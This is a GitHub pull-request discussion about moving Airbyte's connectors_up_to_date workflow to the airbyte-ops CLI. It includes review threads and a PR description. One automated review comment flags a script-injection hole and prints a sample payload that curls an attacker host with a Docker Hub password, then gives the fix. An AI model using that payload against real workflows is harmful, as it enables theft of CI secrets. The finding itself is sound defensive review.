ci(connectors): migrate connectors_up_to_date workflow from airbyte-ci to airbyte-ops#75524
Conversation
…i to airbyte-ops Replace the legacy airbyte-ci Dagger-based connector selection with the airbyte-ops CLI three-call pattern: 1. List sources (all support levels) 2. List certified destinations 3. Combine via --connectors-filter and output json-gh-matrix The up-to-date execution step uses a TK-TODO pseudocode call to `airbyte-ops local connector up-to-date` which does not exist yet. See PR description for the full gap analysis. Co-Authored-By: AJ Steers <aj@airbyte.io>

🔴 Script injection via unsanitized workflow_dispatch input in shell run blocks
The ${{ github.event.inputs.connectors-options }} expression is directly interpolated into run: shell scripts at lines 42 and 58. GitHub Actions evaluates ${{ }} expressions before the shell executes, so a malicious or accidental input like ; curl attacker.com/steal?t=$DOCKER_HUB_PASSWORD # would break out of the command and execute arbitrary code with access to the job's secrets (DOCKER_HUB_PASSWORD, etc.). The safe pattern is to assign the expression to an environment variable (env: OPTIONS: ${{ github.event.inputs.connectors-options }}) and reference "$OPTIONS" in the shell, which prevents shell metacharacter interpretation. The old workflow was not vulnerable to this because the input was passed as an action with: parameter to the run-airbyte-ci composite action, not interpolated directly into a shell script.
Prompt for agents
In .github/workflows/connectors_up_to_date.yml, the user-controlled input `github.event.inputs.connectors-options` is interpolated directly into `run:` shell scripts at two locations (lines 42 and 58). This is a script injection vulnerability. Fix both occurrences by:
1. For the step 'List source connectors' (around line 33), add an `env:` block:
env:
CONNECTOR_OPTIONS: ${{ github.event.inputs.connectors-options }}
And change line 42 from:
${{ github.event.inputs.connectors-options }} \
to:
$CONNECTOR_OPTIONS \
2. For the step 'List destination connectors' (around line 49), add the same `env:` block:
env:
CONNECTOR_OPTIONS: ${{ github.event.inputs.connectors-options }}
And change line 58 from:
${{ github.event.inputs.connectors-options }} \
to:
$CONNECTOR_OPTIONS \
This ensures the input is passed through an environment variable rather than direct shell interpolation, preventing command injection.

Good catch — fixed in 6d4f015. Both occurrences now pass the input via env: CONNECTOR_OPTIONS and reference $CONNECTOR_OPTIONS in the shell, preventing expression injection.

Ditto this can be a one-liner that receives the prior steps' inputs inline.
There was a problem hiding this comment.
Fixed in 6d4f015 — collapsed to a single echo | tee -a that inlines the prior steps' outputs directly:
run: |
echo "generated_matrix=$( \
airbyte-ops local connector list \
--repo-path "$GITHUB_WORKSPACE" \
--connectors-filter="${{ steps.list-sources.outputs.sources }},${{ steps.list-destinations.outputs.destinations }}" \
--output-format=json-gh-matrix \
)" | tee -a $GITHUB_OUTPUTNo more bash if/elif/else branching (per skill guideline #2). If one list is empty, the leading/trailing comma in --connectors-filter is harmless — the CLI's set() splitting filters out empty strings.

We can tackle most of these already without code changes to ops CLI.
1. Update base image in metadata.yaml to the latest stable tag
Create as dedicated step, but move towards end of process. Imagined CLI will be something like:
airbyte-ops local connector bump-base-image
2. Run
poetry update(for Python/Poetry connectors)
You can do this already.
Simply add two steps both conditional 'if' on the language being python. First steps sets up Poetry and second step runs poetry update.
3. Bump connector version (patch)
4. Add changelog entry ("Update dependencies")
As you already hinted, we can do this already. Just call the bump-version CLI we already have and pass it an explicit changelog string.
5. Create or update a GitHub PR with the changes
We have patterns to do this already using native github actions. You'll want to do it twice: once up top so that you have a PR number to pass into the bump-version so it can use a (known) PR number in the changelog.
6. Optionally set auto-merge label on the PR
Again, we have github actions examples for your to this already natively. (1) There are labels we can add and (2) there's precedent for setting GitHub's native auto-merge. (We can just do both.

Implemented in ca967db — replaced the monolithic up-to-date pseudocode with individual workflow steps per your guidance:
- Git author config —
octavia-bot-hoardpattern (fromauto-upgrade-certified-connectors-cdk.yml) - Step 5a —
peter-evans/create-pull-request(early, to get PR number for changelog). Creates draft PR withauto-mergelabel. - Step 2 —
poetry update --lockconditional onCONNECTOR_LANGUAGE == 'python'(setup-python + install-poetry) - Steps 3+4 —
airbyte-ops local connector bump-version --bump-type patch --changelog-message "Update dependencies" --pr-number "$PR_NUMBER" - Step 1 —
airbyte-ops local connector bump-base-image— still TK-TODO (command doesn't exist yet), placed near end per your guidance - Step 5b —
git add/git commit/git pushto the PR branch, thengh pr ready - Step 6 —
gh pr merge "$PR_NUMBER" --squash --auto(native auto-merge)
Only remaining TK-TODO: bump-base-image CLI command.
…teps Per AJ's guidance, replaces the single 'airbyte-ops local connector up-to-date' pseudocode call with individual workflow steps: - Step 5a: Create/update PR via peter-evans/create-pull-request (early, for PR number) - Step 2: poetry update (conditional on CONNECTOR_LANGUAGE == 'python') - Steps 3+4: bump-version with --changelog-message and --pr-number - Step 1: bump-base-image (TK-TODO, dedicated step near end) - Step 5b: Push changes back to PR branch - Step 6: auto-merge label (via create-pull-request) + gh pr merge --squash --auto Also adds git author config (octavia-bot-hoard pattern from auto-upgrade-certified-connectors-cdk.yml) and marks PR ready for review after all changes are pushed.

We should add additional optional workflow inputs: bump-base-image, bump-cdk, and bump-external-dependencies. These can all be 'true' or 'false', defaulting to 'true'. And 'bump-cdk' can also be 'latest' which would ignore any existing CDK constraints and instead bump all the way to the latest.
However, doing so is probably out of scope for this PR. Please log an issue in the ops repo to add capability to support this. This would resolve a long-standing issue where a failed image bump can block the CDK from being updated, and vice versa. CDK updates are most relevant for behavioral and bug fixes, whereas image updates are most relevant for security patches. Both are important and we want one to be able to pass even if the other is blocked.

Agreed this is out of scope for this PR. Logged as https://github.com/airbytehq/airbyte-ops-mcp/issues/625 — covers the bump-base-image, bump-cdk, and bump-external-dependencies workflow inputs and the rationale for independent failure handling.

Created three separate issues in the ops repo and added TK-TODO(url) references in the workflow:
- airbytehq/airbyte-ops-mcp#626 —
bump-base-image: Implement CLI command to update base image in metadata.yaml - airbytehq/airbyte-ops-mcp#627 —
bump-cdk: Implement CLI command to bump CDK dependency (with--latestoption) - airbytehq/airbyte-ops-mcp#628 —
bump-external-dependencies: Implement CLI command for external dependency updates
Closed the combined airbytehq/airbyte-ops-mcp#625 in favor of these three.
Each TK-TODO comment in the workflow now links to its tracking issue.

What
Migrates the
connectors_up_to_dateworkflow away from the legacyairbyte-ciDagger-based tooling to theairbyte-opsCLI (airbyte-internal-ops). This is the second half of a two-PR effort:--connectors-filterflag to the ops CLI (merged)How
Connector selection (fully migrated)
Replaces the
airbyte-ci connectors list+--metadata-queryapproach with a three-call pattern:source-declarative-manifest--connectors-filterand outputsjson-gh-matrixThis makes the AND/OR filter semantics explicit and readable, replacing the opaque

Review guide
.github/workflows/connectors_up_to_date.yml— the only file changedReviewer checklist:
peter-evans/create-pull-requestordering: The action is called beforepoetry updateandbump-versionmodify the working tree. Confirm that it either creates an empty PR (returning a PR number) or that the branch already exists from a prior run — otherwise subsequent steps won't have aPR_NUMBER.if: env.CONNECTOR_LANGUAGE == 'python': Verify this GitHub Actions expression correctly evaluates job-levelenvvars in stepifconditions.git add/git commit/git pushto the branch created bypeter-evans/create-pull-request. Confirm these don't conflict with the action's branch management.bump-base-imageandbump-cdkwill fail at runtime since the CLI commands don't exist. The job hascontinue-on-error: true, so the matrix entry won't block the overall workflow, but downstream steps within that job (push, ready, auto-merge) may be skipped.json-gh-matrixformat produces one matrix entry per connector. The step name still says "25 connectors per job" — this label is misleading and should be updated.User Impact
No immediate user impact — workflow will not run successfully until the
bump-base-imageandbump-cdkcommands are implemented in airbyte-ops. When complete, the behavioral change is:Can this PR be safely reverted and rolled back?
